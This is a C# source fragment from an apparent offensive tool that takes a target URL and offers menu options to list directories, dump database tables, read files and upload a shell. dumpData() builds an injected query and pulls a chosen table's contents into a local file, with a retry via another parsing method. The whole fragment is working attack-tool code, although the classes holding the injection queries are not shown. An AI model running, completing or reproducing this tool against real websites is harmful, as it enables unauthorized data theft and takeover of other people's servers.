public static void dumpData(string url, string UserSelectedTable, string[] Columns) { var FileName = ""; if (!String.IsNullOrEmpty((FileName = UserInteraction.takeInputForTableFileGeneration()))) { var XAML = XML.addRoot(ResponseFilter.getPureResponse(HTTPMethods.getResponse(QueryCrafter.constructQueryForDataDump(url, UserSelectedTable, QueriesDB.TableDumpQuery)))); dumpXML(XAML, UserSelectedTable, FileName, Columns); Log.logNotification("If ur unable to see table Data, dont worry I've another method.."); UserInteraction.promptForUserInput("Press 'n' to try another method OR Press any key to continue.."); var UserInput = Console.ReadLine(); if (UserInput.ToLower() == "n") { XAML = XML.addRoot(ResponseFilter.getPureResponseWithLastIndex(HTTPMethods.getResponse(QueryCrafter.constructQueryForDataDump(url, UserSelectedTable, QueriesDB.TableDumpQuery)))); dumpXML(XAML, UserSelectedTable, FileName, Columns); } Log.logNotification("Data dump complete.. and if no data is displayed to you.. table might be empty.. Press any key to continue.."); Console.ReadKey(); } FileIO.deleteTempFile("tmp.txt"); }
static void Main(string[] args) { QueriesDB.initialize(); UserInteraction.showBanner(); string basicURL = null; while (basicURL != "x") { basicURL = null; Log.logNotification("Press 'x' for exit.."); UserInteraction.promptForUserInput("Enter url"); basicURL = Console.ReadLine(); Exploitation.initialize(basicURL); if (basicURL != "x" && !String.IsNullOrEmpty(basicURL)) { int Choice = -1; while (Choice != 0) { Choice = UserInteraction.showMenuForIntChoice("Press '0' for Exit..\nPress '1' for directory navigation..\nPress '2' for dumping data.." + "\nPress '3' for files reading..\nPress '4' for shell uploading.."); if (Choice == 1) { DirListing.initialize(basicURL); } else if (Choice == 2) { DumpData.initialize(basicURL); } else if (Choice == 3) { ReadFile.Read(basicURL); } else if (Choice == 4) { ShellSpawning.Spawn(basicURL); } } } } Log.logOutput("Program is going to exit.. Press any key.."); Console.ReadKey(); }